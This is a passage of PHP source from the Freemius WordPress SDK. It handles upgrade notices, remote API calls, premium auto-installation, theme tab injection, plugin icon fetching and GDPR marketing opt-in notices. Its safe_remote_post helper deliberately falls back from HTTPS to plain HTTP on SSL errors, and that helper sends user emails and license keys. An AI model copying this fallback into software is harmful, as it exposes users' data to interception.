                • ' ) . $this->get_latest_download_link( sprintf( /* translators: %s: Plan title */ $this->get_text_inline( 'Download the latest %s version', 'download-latest-x-version' ), $plan_title ) ), $deactivation_step, $this->get_text_inline( 'Upload and activate the downloaded version', 'upload-and-activate' ), $this->apply_filters( 'upload_and_install_video_url', '//bit.ly/wp-' . $this->_module_type . '-upload' ), $this->get_text_inline( 'How to upload and activate?', 'howto-upload-activate' ) ); } } /** * @author Leo Fajardo (@leorw) * @since 2.5.3 * * @param string $message_before_the_instructions * @param string $message_id * @param string $plan_title */ private function add_complete_upgrade_instructions_notice( $message_before_the_instructions, $message_id, $plan_title = '' ) { $this->_admin_notices->add_sticky( $message_before_the_instructions . $this->get_complete_upgrade_instructions( $plan_title ), $message_id, $this->get_text_x_inline( 'Yee-haw', 'interjection expressing joy or exuberance', 'yee-haw' ) . '!' ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.3 * * @param bool $is_upgrade */ private function add_after_plan_activation_or_upgrade_instructions_notice( $is_upgrade = true ) { $this->add_complete_upgrade_instructions_notice( $is_upgrade ? $this->get_text_inline( 'Your plan was successfully upgraded.', 'plan-upgraded-message' ) : $this->get_text_inline( 'Your plan was successfully activated.', 'plan-activated-message' ), 'plan_upgraded' ); } /** * @author Leo Fajardo (@leorw) * @since 2.1.0 * * @param string $url * @param array $request */ private static function enrich_request_for_debug( &$url, &$request ) { if ( WP_FS__DEBUG_SDK || isset( $_COOKIE['XDEBUG_SESSION'] ) ) { $url = add_query_arg( 'XDEBUG_SESSION_START', rand( 0, 9999999 ), $url ); $url = add_query_arg( 'XDEBUG_SESSION', 'PHPSTORM', $url ); $request['cookies'] = array( new WP_Http_Cookie( array( 'name' => 'XDEBUG_SESSION', 'value' => 'PHPSTORM', ) ) ); } } /** * @author Leo Fajardo (@leorw) * @since 2.1.0 * * @param string $url * @param array $request * @param int $success_cache_expiration * @param int $failure_cache_expiration * @param bool $maybe_enrich_request_for_debug * * @return WP_Error|array */ static function safe_remote_post( &$url, $request, $success_cache_expiration = 0, $failure_cache_expiration = 0, $maybe_enrich_request_for_debug = true ) { $should_cache = ($success_cache_expiration + $failure_cache_expiration > 0); $cache_key = $should_cache ? md5( fs_strip_url_protocol($url) . json_encode( $request ) ) : false; $response = (!WP_FS__DEBUG_SDK && ( false !== $cache_key )) ? get_transient( $cache_key ) : false; if ( false === $response ) { if ( $maybe_enrich_request_for_debug ) { self::enrich_request_for_debug( $url, $request ); } if ( ! isset( $request['method'] ) ) { $request['method'] = 'POST'; } $response = FS_Api::remote_request( $url, $request ); if ( 'https://' === substr( $url, 0, 8 ) && FS_Api::is_ssl_error_response( $response ) ) { // Failed due to old version of cURL or Open SSL (SSLv3 is not supported by CloudFlare). $url = 'http://' . substr( $url, 8 ); $request['timeout'] = 15; $response = FS_Api::remote_request( $url, $request ); } if ( false !== $cache_key ) { set_transient( $cache_key, $response, ( ( $response instanceof WP_Error ) ? $failure_cache_expiration : $success_cache_expiration ) ); } } return $response; } /** * This method is used to enrich the after upgrade notice instructions when the upgraded * license cannot be activated network wide (license quota isn't large enough). * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return string */ private function get_license_network_activation_notice() { if ( ! $this->_is_network_active ) { // Module isn't network level activated. return ''; } if ( ! fs_is_network_admin() ) { // Not network level admin. return ''; } if ( get_blog_count() == 1 ) { // There's only a single site in the network so if there's a context license it was already activated. return ''; } if ( ! is_object( $this->_license ) ) { // No context license. return ''; } if ( $this->_license->is_single_site() && 0 < $this->_license->activated ) { // License was already utilized (this is not 100% the case if all the network is localhost sites and the license can be utilized on unlimited localhost sites). return ''; } if ( $this->can_activate_license_on_network( $this->_license ) ) { // License can be activated on all the network, so probably, the license is already activate on all the network (that's how the after upgrade sync works). return ''; } return sprintf( $this->get_text_inline( '%sClick here%s to choose the sites where you\'d like to activate the license on.', 'network-choose-sites-for-license' ), '', '' ); } /** * @author Vova Feldman (@svovaf) * @since 1.2.1.7 * * @param string $key * * @return string */ function get_text( $key ) { return fs_text( $key, $this->_slug ); } /** * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $key String key for overrides. * * @return string */ function get_text_inline( $text, $key = '' ) { return _fs_text_inline( $text, $key, $this->_slug ); } /** * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $context Context information for the translators. * @param string $key String key for overrides. * * @return string */ function get_text_x_inline( $text, $context, $key ) { return _fs_text_x_inline( $text, $context, $key, $this->_slug ); } /** * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $key String key for overrides. * * @return string */ function esc_html_inline( $text, $key ) { return esc_html( _fs_text_inline( $text, $key, $this->_slug ) ); } #---------------------------------------------------------------------------------- #region Versioning #---------------------------------------------------------------------------------- /** * Check if Freemius in SDK upgrade mode. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool */ function is_sdk_upgrade_mode() { return isset( $this->_storage->sdk_upgrade_mode ) ? $this->_storage->sdk_upgrade_mode : false; } /** * Turn SDK upgrade mode off. * * @author Vova Feldman (@svovaf) * @since 1.0.9 */ function set_sdk_upgrade_complete() { $this->_storage->sdk_upgrade_mode = false; } /** * Check if plugin upgrade mode. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool */ function is_plugin_upgrade_mode() { return isset( $this->_storage->plugin_upgrade_mode ) ? $this->_storage->plugin_upgrade_mode : false; } /** * Turn plugin upgrade mode off. * * @author Vova Feldman (@svovaf) * @since 1.0.9 */ function set_plugin_upgrade_complete() { $this->_storage->plugin_upgrade_mode = false; $license_migration = ! empty( $this->_storage->license_migration ) ? $this->_storage->license_migration : array(); $license_migration['is_migrating'] = false; $this->_storage->license_migration = $license_migration; } #endregion #---------------------------------------------------------------------------------- #region Permissions #---------------------------------------------------------------------------------- /** * Check if specific permission requested. * * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @param string $permission * * @return bool */ function is_permission_requested( $permission ) { return isset( $this->_permissions[ $permission ] ) && ( true === $this->_permissions[ $permission ] ); } #endregion #---------------------------------------------------------------------------------- #region Auto Activation #---------------------------------------------------------------------------------- /** * Hints the SDK if running an auto-installation. * * @var bool */ private $_isAutoInstall = false; /** * After upgrade callback to install and auto activate a plugin. * This code will only be executed on explicit request from the user, * following the practice Jetpack are using with their theme installations. * * @link https://make.wordpress.org/plugins/2017/03/16/clarification-of-guideline-8-executable-code-and-installs/ * * @author Vova Feldman (@svovaf) * @since 1.2.1.7 */ function _install_premium_version_ajax_action() { $this->_logger->entrance(); $this->check_ajax_referer( 'install_premium_version' ); if ( ! $this->is_registered() ) { // Not registered. self::shoot_ajax_failure( array( 'message' => $this->get_text_inline( 'Auto installation only works for opted-in users.', 'auto-install-error-not-opted-in' ), 'code' => 'premium_installed', ) ); } $plugin_id = fs_request_get( 'target_module_id', $this->get_id() ); if ( ! FS_Plugin::is_valid_id( $plugin_id ) ) { // Invalid ID. self::shoot_ajax_failure( array( 'message' => $this->get_text_inline( 'Invalid module ID.', 'auto-install-error-invalid-id' ), 'code' => 'invalid_module_id', ) ); } if ( $plugin_id == $this->get_id() ) { if ( $this->is_premium() ) { // Already using the premium code version. self::shoot_ajax_failure( array( 'message' => $this->get_text_inline( 'Premium version already active.', 'auto-install-error-premium-activated' ), 'code' => 'premium_installed', ) ); } if ( ! $this->can_use_premium_code() ) { // Don't have access to the premium code. self::shoot_ajax_failure( array( 'message' => $this->get_text_inline( 'You do not have a valid license to access the premium version.', 'auto-install-error-invalid-license' ), 'code' => 'invalid_license', ) ); } if ( ! $this->has_release_on_freemius() ) { // Plugin is a serviceware, no premium code version. self::shoot_ajax_failure( array( 'message' => $this->get_text_inline( 'Plugin is a "Serviceware" which means it does not have a premium code version.', 'auto-install-error-serviceware' ), 'code' => 'premium_version_missing', ) ); } } else { $addon = $this->get_addon( $plugin_id ); if ( ! is_object( $addon ) ) { // Invalid add-on ID. self::shoot_ajax_failure( array( 'message' => $this->get_text_inline( 'Invalid module ID.', 'auto-install-error-invalid-id' ), 'code' => 'invalid_module_id', ) ); } if ( $this->is_addon_activated( $plugin_id, true ) ) { // Premium add-on version is already activated. self::shoot_ajax_failure( array( 'message' => $this->get_text_inline( 'Premium add-on version already installed.', 'auto-install-error-premium-addon-activated' ), 'code' => 'premium_installed', ) ); } } $this->_isAutoInstall = true; // Try to install and activate. $updater = FS_Plugin_Updater::instance( $this ); $result = $updater->install_and_activate_plugin( $plugin_id ); if ( is_array( $result ) && ! empty( $result['message'] ) ) { self::shoot_ajax_failure( array( 'message' => $result['message'], 'code' => $result['code'], ) ); } self::shoot_ajax_success( $result ); } /** * Displays module activation dialog box after a successful upgrade * where the user explicitly requested to auto download and install * the premium version. * * @author Vova Feldman (@svovaf) * @since 1.2.1.7 */ function _add_auto_installation_dialog_box() { $this->_logger->entrance(); if ( ! $this->is_registered() ) { // Not registered. return; } $plugin_id = fs_request_get( 'plugin_id', $this->get_id() ); if ( ! FS_Plugin::is_valid_id( $plugin_id ) ) { // Invalid module ID. return; } if ( $plugin_id == $this->get_id() ) { if ( $this->is_premium() ) { // Already using the premium code version. return; } if ( ! $this->can_use_premium_code() ) { // Don't have access to the premium code. return; } if ( ! $this->has_release_on_freemius() ) { // Plugin is a serviceware, no premium code version. return; } } else { $addon = $this->get_addon( $plugin_id ); if ( ! is_object( $addon ) ) { // Invalid add-on ID. return; } if ( $this->is_addon_activated( $plugin_id, true ) ) { // Premium add-on version is already activated. return; } } $vars = array( 'id' => $this->_module_id, 'target_module_id' => $plugin_id, 'slug' => $this->_slug, ); fs_require_template( 'auto-installation.php', $vars ); } #endregion #-------------------------------------------------------------------------------- #region Tabs Integration #-------------------------------------------------------------------------------- #region Module's Original Tabs /** * Inject a JavaScript logic to capture the theme tabs HTML. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 */ function _tabs_capture() { $this->_logger->entrance(); if ( ! $this->is_product_settings_page() || ! $this->should_page_include_tabs() || ! $this->is_matching_url( $this->main_menu_url() ) ) { return; } $params = array( 'id' => $this->_module_id, ); fs_require_once_template( 'tabs-capture-js.php', $params ); } /** * Cache theme's tabs HTML for a week. The cache will also be set as expired * after version and type (free/premium) changes, in addition to the week period. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 */ function _store_tabs_ajax_action() { $this->_logger->entrance(); $this->check_ajax_referer( 'store_tabs' ); // Init filesystem if not yet initiated. WP_Filesystem(); // Get POST body HTML data. global $wp_filesystem; $tabs_html = $wp_filesystem->get_contents( "php://input" ); if ( is_string( $tabs_html ) ) { $tabs_html = trim( $tabs_html ); } if ( ! is_string( $tabs_html ) || empty( $tabs_html ) ) { self::shoot_ajax_failure(); } $this->_cache->set( 'tabs', $tabs_html, 7 * WP_FS__TIME_24_HOURS_IN_SEC ); self::shoot_ajax_success(); } /** * Cache theme's settings page custom styles. The cache will also be set as expired * after version and type (free/premium) changes, in addition to the week period. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 */ function _store_tabs_styles() { $this->_logger->entrance(); if ( ! $this->is_product_settings_page() || ! $this->should_page_include_tabs() || ! $this->is_matching_url( $this->main_menu_url() ) ) { return; } $wp_styles = wp_styles(); $theme_styles_url = get_template_directory_uri(); $stylesheets = array(); foreach ( $wp_styles->queue as $handler ) { if ( fs_starts_with( $handler, 'fs_' ) ) { // Assume that stylesheets that their handler starts with "fs_" belong to the SDK. continue; } /** * @var _WP_Dependency $stylesheet */ $stylesheet = $wp_styles->registered[ $handler ]; if ( fs_starts_with( $stylesheet->src, $theme_styles_url ) ) { $stylesheets[] = $stylesheet->src; } } if ( ! empty( $stylesheets ) ) { $this->_cache->set( 'tabs_stylesheets', $stylesheets, 7 * WP_FS__TIME_24_HOURS_IN_SEC ); } } /** * Check if module's original settings page has any tabs. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @return bool */ private function has_tabs() { return $this->_cache->has( 'tabs' ); } /** * Get module's settings page HTML content, starting * from the beginning of the
                  element, * until the tabs HTML (including). * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @return string */ private function get_tabs_html() { $this->_logger->entrance(); return $this->_cache->get( 'tabs' ); } /** * Check if page should include tabs. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @return bool */ private function should_page_include_tabs() { if ( ! $this->has_settings_menu() ) { // Don't add tabs if no settings at all. return false; } if ( self::NAVIGATION_TABS !== $this->_navigation ) { // Only add tabs to themes for now. return false; } if ( $this->is_theme() && ! $this->has_paid_plan() && ! $this->has_addons() ) { // Only add tabs to monetizing themes. return false; } if ( ! $this->is_product_settings_page() ) { // Only add tabs if browsing one of the product's setting pages. return false; } if ( $this->is_activation_mode() && $this->is_activation_page() ) { // Don't include tabs in the activation page. return false; } if ( $this->is_admin_page( 'pricing' ) && fs_request_get_bool( 'checkout' ) ) { // Don't add tabs on checkout page, we want to reduce distractions // as much as possible. return false; } return true; } /** * Add the tabs HTML before the setting's page content and * enqueue any required stylesheets. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @return bool If tabs were included. */ function _add_tabs_before_content() { $this->_logger->entrance(); if ( ! $this->should_page_include_tabs() ) { return false; } $tabs_html = $this->get_tabs_html(); if ( empty( $tabs_html ) ) { return false; } /** * Enqueue the original stylesheets that are included in the * theme settings page. That way, if the theme settings has * some custom _styled_ content above the tabs UI, this * will make sure that the styling is preserved. */ $stylesheets = $this->_cache->get( 'tabs_stylesheets', array() ); if ( is_array( $stylesheets ) ) { for ( $i = 0, $len = count( $stylesheets ); $i < $len; $i ++ ) { wp_enqueue_style( "fs_{$this->_module_id}_tabs_{$i}", $stylesheets[ $i ] ); } } // Cut closing
                  tag. echo substr( trim( $tabs_html ), 0, - 6 ); return true; } /** * Add the tabs closing HTML after the setting's page content. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @return bool If tabs closing HTML was included. */ function _add_tabs_after_content() { $this->_logger->entrance(); if ( ! $this->should_page_include_tabs() ) { return false; } echo '
                • '; return true; } #endregion /** * Add in-page JavaScript to inject the Freemius tabs into * the module's setting tabs section. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 */ function _add_freemius_tabs() { $this->_logger->entrance(); if ( ! $this->should_page_include_tabs() ) { return; } $params = array( 'id' => $this->_module_id ); fs_require_once_template( 'tabs.php', $params ); } #endregion #-------------------------------------------------------------------------------- #region Customizer Integration for Themes #-------------------------------------------------------------------------------- /** * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @param WP_Customize_Manager $customizer */ function _customizer_register( $customizer ) { $this->_logger->entrance(); if ( $this->is_pricing_page_visible() ) { require_once WP_FS__DIR_INCLUDES . '/customizer/class-fs-customizer-upsell-control.php'; $customizer->add_section( 'freemius_upsell', array( 'title' => '★ ' . $this->get_text_inline( 'View paid features', 'view-paid-features' ), 'priority' => 1, ) ); $customizer->add_setting( 'freemius_upsell', array( 'sanitize_callback' => 'esc_html', ) ); $customizer->add_control( new FS_Customizer_Upsell_Control( $customizer, 'freemius_upsell', array( 'fs' => $this, 'section' => 'freemius_upsell', 'priority' => 100, ) ) ); } if ( $this->is_page_visible( 'contact' ) || $this->is_page_visible( 'support' ) ) { require_once WP_FS__DIR_INCLUDES . '/customizer/class-fs-customizer-support-section.php'; // Main Documentation Link In Customizer Root. $customizer->add_section( new FS_Customizer_Support_Section( $customizer, 'freemius_support', array( 'fs' => $this, 'priority' => 1000, ) ) ); } } #endregion /** * If the theme has a paid version, add some custom * styling to the theme's premium version (if exists) * to highlight that it's the premium version of the * same theme, making it easier for identification * after the user upgrades and upload it to the site. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 */ function _style_premium_theme() { $this->_logger->entrance(); if ( ! self::is_themes_page() ) { // Only include in the themes page. return; } if ( ! $this->has_paid_plan() ) { // Only include if has any paid plans. return; } $params = null; fs_require_once_template( '/js/jquery.content-change.php', $params ); $params = array( 'slug' => $this->_slug, 'id' => $this->_module_id, ); fs_require_template( '/js/style-premium-theme.php', $params ); } /** * This method will return the absolute URL of the module's local icon. * * When you are running your plugin or theme on a **localhost** environment, if the icon * is not found in the local assets folder, try to fetch the icon URL from Freemius. If not set and * it's a plugin hosted on WordPress.org, try fetching the icon URL from wordpress.org. * If an icon is found, this method will automatically attempt to download the icon and store it * in /freemius/assets/img/{slug}.{png|jpg|gif|svg}. * * It's important to mention that this method is NOT phoning home since the developer will deploy * the product with the local icon in the assets folder. The download process just simplifies * the process for the developer. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return string */ function get_local_icon_url() { global $fs_active_plugins; /** * @since 1.1.7.5 */ $local_path = $this->apply_filters( 'plugin_icon', false ); if ( is_string( $local_path ) ) { $icons = array( $local_path ); } else { $img_dir = WP_FS__DIR_IMG; // Locate the main assets folder. if ( 1 < count( $fs_active_plugins->plugins ) ) { $plugin_or_theme_img_dir = ( $this->is_plugin() ? WP_PLUGIN_DIR : get_theme_root( get_stylesheet() ) ); foreach ( $fs_active_plugins->plugins as $sdk_path => &$data ) { if ( $data->plugin_path == $this->get_plugin_basename() ) { $img_dir = $plugin_or_theme_img_dir . '/' /** * The basename will be `themes` or the basename of a custom themes directory. * * @author Leo Fajardo (@leorw) * @since 2.2.3 */ . str_replace( '../' . basename( $plugin_or_theme_img_dir ) . '/', '', $sdk_path ) . '/assets/img'; break; } } } // Try to locate the icon in the assets folder. $icons = glob( fs_normalize_path( $img_dir . "/{$this->_slug}.*" ) ); if ( ! is_array( $icons ) || 0 === count( $icons ) ) { if ( ! WP_FS__IS_LOCALHOST && $this->is_theme() ) { $icons = array( fs_normalize_path( $img_dir . '/theme-icon.png' ) ); } else { $icon_found = false; $local_path = fs_normalize_path( "{$img_dir}/{$this->_slug}.png" ); if ( ! function_exists( 'get_filesystem_method' ) ) { require_once ABSPATH . 'wp-admin/includes/file.php'; } $have_write_permissions = ( 'direct' === get_filesystem_method( array(), fs_normalize_path( $img_dir ) ) ); /** * IMPORTANT: THIS CODE WILL NEVER RUN AFTER THE PLUGIN IS IN THE REPO. * * This code will only be executed once during the testing * of the plugin in a local environment. The plugin icon file WILL * already exist in the assets folder when the plugin is deployed to * the repository. */ if ( WP_FS__IS_LOCALHOST && $have_write_permissions ) { // Fetch icon from Freemius. $icon = $this->fetch_remote_icon_url(); // Fetch icon from WordPress.org. if ( empty( $icon ) && $this->is_plugin() && $this->is_org_repo_compliant() ) { if ( ! function_exists( 'plugins_api' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; } $plugin_information = plugins_api( 'plugin_information', array( 'slug' => $this->_slug, 'fields' => array( 'sections' => false, 'tags' => false, 'icons' => true ) ) ); if ( ! is_wp_error( $plugin_information ) && isset( $plugin_information->icons ) && ! empty( $plugin_information->icons ) ) { /** * Get the smallest icon. * * @author Leo Fajardo (@leorw) * @since 1.2.2 */ $icon = end( $plugin_information->icons ); } } if ( ! empty( $icon ) ) { if ( 0 !== strpos( $icon, 'http' ) ) { $icon = 'http:' . $icon; } /** * Get a clean file extension, e.g.: "jpg" and not "jpg?rev=1305765". * * @author Leo Fajardo (@leorw) * @since 1.2.2 */ $ext = pathinfo( strtok( $icon, '?' ), PATHINFO_EXTENSION ); $local_path = fs_normalize_path( "{$img_dir}/{$this->_slug}.{$ext}" ); // Try to download the icon. $icon_found = fs_download_image( $icon, $local_path ); } } if ( ! $icon_found ) { // No icons found, fallback to default icon. if ( $have_write_permissions ) { // If have write permissions, copy default icon. copy( fs_normalize_path( $img_dir . "/{$this->_module_type}-icon.png" ), $local_path ); } else { // If doesn't have write permissions, use default icon path. $local_path = fs_normalize_path( $img_dir . "/{$this->_module_type}-icon.png" ); } } $icons = array( $local_path ); } } } $icon_dir = dirname( $icons[0] ); return fs_img_url( substr( $icons[0], strlen( $icon_dir ) ), $icon_dir ); } /** * Fetch module's extended info. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return object|mixed */ private function fetch_module_info() { return $this->get_api_plugin_scope()->get( 'info.json', false, WP_FS__TIME_WEEK_IN_SEC ); } /** * Fetch module's remote icon URL. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return string */ function fetch_remote_icon_url() { $info = $this->fetch_module_info(); return ( $this->is_api_result_object( $info, 'icon' ) && is_string( $info->icon ) ) ? $info->icon : ''; } #-------------------------------------------------------------------------------- #region GDPR #-------------------------------------------------------------------------------- /** * @author Leo Fajardo (@leorw) * @since 2.1.0 * * @param array $user_plugins * * @return string */ private function get_gdpr_admin_notice_string( $user_plugins ) { $this->_logger->entrance(); $addons = self::get_all_addons(); foreach ( $user_plugins as $user_plugin ) { $has_addons = isset( $addons[ $user_plugin->id ] ); if ( WP_FS__MODULE_TYPE_PLUGIN === $user_plugin->type && ! $has_addons ) { if ( $this->_module_id == $user_plugin->id ) { $addons = $this->get_addons(); $has_addons = ( ! empty( $addons ) ); } else { $plugin_api = FS_Api::instance( $user_plugin->id, 'plugin', $user_plugin->id, $user_plugin->public_key, ! $user_plugin->is_live, false, $this->get_sdk_version() ); $addons_result = $plugin_api->get( '/addons.json?enriched=true', true ); if ( $this->is_api_result_object( $addons_result, 'plugins' ) && is_array( $addons_result->plugins ) && ! empty( $addons_result->plugins ) ) { $has_addons = true; } } } $user_plugin->has_addons = $has_addons; } $is_single_parent_product = ( 1 === count( $user_plugins ) ); $multiple_products_text = ''; if ( $is_single_parent_product ) { $single_parent_product = reset( $user_plugins ); $thank_you = sprintf( "%s", $single_parent_product->id, sprintf( $single_parent_product->has_addons ? $this->get_text_inline( 'Thank you so much for using %s and its add-ons!', 'thank-you-for-using-product-and-its-addons' ) : $this->get_text_inline( 'Thank you so much for using %s!', 'thank-you-for-using-product' ), sprintf('%s', $single_parent_product->title) ) ); $already_opted_in = sprintf( $this->get_text_inline( "You've already opted-in to our usage-tracking, which helps us keep improving the %s.", 'already-opted-in-to-product-usage-tracking' ), ( WP_FS__MODULE_TYPE_THEME === $single_parent_product->type ) ? WP_FS__MODULE_TYPE_THEME : WP_FS__MODULE_TYPE_PLUGIN ); } else { $thank_you = $this->get_text_inline( 'Thank you so much for using our products!', 'thank-you-for-using-products' ); $already_opted_in = $this->get_text_inline( "You've already opted-in to our usage-tracking, which helps us keep improving them.", 'already-opted-in-to-products-usage-tracking' ); $products_and_add_ons = ''; foreach ( $user_plugins as $user_plugin ) { if ( ! empty( $products_and_add_ons ) ) { $products_and_add_ons .= ', '; } if ( ! $user_plugin->has_addons ) { $products_and_add_ons .= sprintf( "%s", $user_plugin->id, $user_plugin->title ); } else { $products_and_add_ons .= sprintf( "%s", $user_plugin->id, sprintf( $this->get_text_inline( '%s and its add-ons', 'product-and-its-addons' ), $user_plugin->title ) ); } } $multiple_products_text = sprintf( "%s: %s", $this->get_text_inline( 'Products', 'products' ), $products_and_add_ons ); } $actions = sprintf( '
                  • %s - %s
                  • %s - %s
                  ', sprintf('', $this->get_text_inline( 'Yes', 'yes' ) ), $this->get_text_inline( 'send me security & feature updates, educational content and offers.', 'send-updates' ), sprintf('', $this->get_text_inline( 'No', 'no' ) ), sprintf( $this->get_text_inline( 'do %sNOT%s send me security & feature updates, educational content and offers.', 'do-not-send-updates' ), '', '' ) ); return sprintf( '%s %s %s', $thank_you, $already_opted_in, sprintf( $this->get_text_inline( 'Due to the new %sEU General Data Protection Regulation (GDPR)%s compliance requirements it is required that you provide your explicit consent, again, confirming that you are onboard :-)', 'due-to-gdpr-compliance-requirements' ), '', '' ) . '

                  ' . '' . $this->get_text_inline( "Please let us know if you'd like us to contact you for security & feature updates, educational content, and occasional offers:", 'contact-for-updates' ) . '' . $actions . ( $is_single_parent_product ? '' : $multiple_products_text ) ); } /** * This method is called for opted-in users to fetch the is_marketing_allowed flag of the user for all the * plugins and themes they've opted in to. * * @author Leo Fajardo (@leorw) * @since 2.1.0 * * @param string $user_email * @param string $license_key * @param array $plugin_ids * @param string|null $license_key * * @return array|false */ private function fetch_user_marketing_flag_status_by_plugins( $user_email, $license_key, $plugin_ids ) { $request = array( 'method' => 'POST', 'body' => array(), 'timeout' => WP_FS__DEBUG_SDK ? 60 : 30, ); if ( is_string( $user_email ) ) { $request['body']['email'] = $user_email; } else { $request['body']['license_key'] = $license_key; } $result = array(); $url = WP_FS__ADDRESS . '/action/service/user_plugin/'; $total_plugin_ids = count( $plugin_ids ); $plugin_ids_count_per_request = 10; for ( $i = 1; $i <= $total_plugin_ids; $i += $plugin_ids_count_per_request ) { $plugin_ids_set = array_slice( $plugin_ids, $i - 1, $plugin_ids_count_per_request ); $request['body']['plugin_ids'] = $plugin_ids_set; $response = self::safe_remote_post( $url, $request, WP_FS__TIME_24_HOURS_IN_SEC, WP_FS__TIME_12_HOURS_IN_SEC ); if ( ! is_wp_error( $response ) ) { $decoded = is_string( $response['body'] ) ? json_decode( $response['body'] ) : null; if ( !is_object($decoded) || !isset($decoded->success) || true !== $decoded->success || !isset( $decoded->data ) || !is_array( $decoded->data ) ) { return false; } $result = array_merge( $result, $decoded->data ); } } return $result; } /** * @author Leo Fajardo (@leorw) * @since 2.1.0 */ function _maybe_show_gdpr_admin_notice() { if ( ! $this->is_user_in_admin() ) { return; } if ( ! $this->should_handle_gdpr_admin_notice() ) { return; } if ( ! $this->is_user_admin() ) { return; } require_once WP_FS__DIR_INCLUDES . '/class-fs-user-lock.php'; $lock = FS_User_Lock::instance(); /** * Try to acquire a 60-sec lock based on the WP user and thread/process ID. */ if ( ! $lock->try_lock( 60 ) ) { return; } /** * @var $current_wp_user WP_User */ $current_wp_user = self::_get_current_wp_user(); /** * @var FS_User $current_fs_user */ $current_fs_user = Freemius::_get_user_by_email( $current_wp_user->user_email ); $ten_years_in_sec = 10 * 365 * WP_FS__TIME_24_HOURS_IN_SEC; if ( ! is_object( $current_fs_user ) ) { // 10-year lock. $lock->lock( $ten_years_in_sec ); return; } $gdpr = FS_GDPR_Manager::instance(); if ( $gdpr->is_opt_in_notice_shown() ) { // 30-day lock. $lock->lock( 30 * WP_FS__TIME_24_HOURS_IN_SEC ); return; } if ( ! $gdpr->should_show_opt_in_notice() ) { // 10-year lock. $lock->lock( $ten_years_in_sec ); return; } $last_time_notice_shown = $gdpr->last_time_notice_was_shown(); $was_notice_shown_before = ( false !== $last_time_notice_shown ); if ( $was_notice_shown_before && 30 * WP_FS__TIME_24_HOURS_IN_SEC > time() - $last_time_notice_shown ) { // If the notice was shown before, show it again after 30 days from the last time it was shown. return; } /** * Find all plugin IDs that were installed by the current admin. */ $plugin_ids_map = self::get_user_opted_in_module_ids_map( $current_fs_user->id ); if ( empty( $plugin_ids_map )) { $lock->lock( $ten_years_in_sec ); return; } $user_plugins = $this->fetch_user_marketing_flag_status_by_plugins( $current_fs_user->email, null, array_keys( $plugin_ids_map ) ); if ( empty( $user_plugins ) ) { $lock->lock( is_array($user_plugins) ? $ten_years_in_sec : // Lock for 24-hours on errors. WP_FS__TIME_24_HOURS_IN_SEC ); return; } $has_unset_marketing_optin = false; foreach ( $user_plugins as $user_plugin ) { if ( true == $user_plugin->is_marketing_allowed ) { unset( $plugin_ids_map[ $user_plugin->plugin_id ] ); } if ( ! $has_unset_marketing_optin && is_null( $user_plugin->is_marketing_allowed ) ) { $has_unset_marketing_optin = true; } } if ( empty( $plugin_ids_map ) || ( $was_notice_shown_before && ! $has_unset_marketing_optin ) ) { $lock->lock( $ten_years_in_sec ); return; } $modules = array_merge( array_values( self::maybe_get_entities_account_option( 'plugins', array() ) ), array_values( self::maybe_get_entities_account_option( 'themes', array() ) ) ); foreach ( $modules as $module ) { if ( ! FS_Plugin::is_valid_id( $module->parent_plugin_id ) && isset( $plugin_ids_map[ $module->id ] ) ) { $plugin_ids_map[ $module->id ] = $module; } } $plugin_title = null; if ( 1 === count( $plugin_ids_map ) ) { $module = reset( $plugin_ids_map ); $plugin_title = $module->title; } $gdpr->add_opt_in_sticky_notice( $this->get_gdpr_admin_notice_string( $plugin_ids_map ), $plugin_title ); $this->add_gdpr_optin_ajax_handler_and_style(); $gdpr->notice_was_just_shown(); // 30-day lock. $lock->lock( 30 * WP_FS__TIME_24_HOURS_IN_SEC ); } /** * Prevents the GDPR opt-in admin notice from being added if the user has already chosen to allow or not allow * marketing. * * @author Leo Fajardo (@leorw) * @since 2.1.0 */ private function disable_opt_in_notice_and_lock_user() { FS_GDPR_Manager::instance()->disable_opt_in_notice(); require_once WP_FS__DIR_INCLUDES . '/class-fs-user-lock.php'; // 10-year lock. FS_User_Lock::instance()->lock( 10 * 365 * WP_FS__TIME_24_HOURS_IN_SEC ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.4 */ static function _add_api_connectivity_notice_handler_js() { fs_require_once_template( 'api-connectivity-message-js.php' ); } /** * @author Leo Fajardo (@leorw) * @since 2.1.0 */ function _add_gdpr_optin_js() { $vars = array( 'id' => $this->_module_id ); fs_require_once_template( 'gdpr-optin-js.php', $vars ); } /** * @author Leo Fajardo (@leorw) * @since 2.1.0 */ function enqueue_gdpr_optin_notice_style() { fs_enqueue_local_style( 'fs_gdpr_optin_notice', '/admin/gdpr-optin-notice.css' ); } /** * @author Leo Fajardo (@leorw) * @since 2.1.0 */ function _maybe_add_gdpr_optin_ajax_handler() { $this->add_ajax_action( 'fetch_is_marketing_required_flag_value', array( &$this, '_fetch_is_marketing_required_flag_value_ajax_action' ) ); if ( FS_GDPR_Manager::instance()->is_opt_in_notice_shown() ) { $this->add_gdpr_optin_ajax_handler_and_style(); } } /** * @author Leo Fajardo (@leorw) * @since 2.1.0 */ function _fetch_is_marketing_required_flag_value_ajax_action() { $this->_logger->entrance(); $this->check_ajax_referer( 'fetch_is_marketing_required_flag_value' ); $license_key = fs_request_get_raw( 'license_key' ); if ( empty($license_key) ) { self::shoot_ajax_failure( 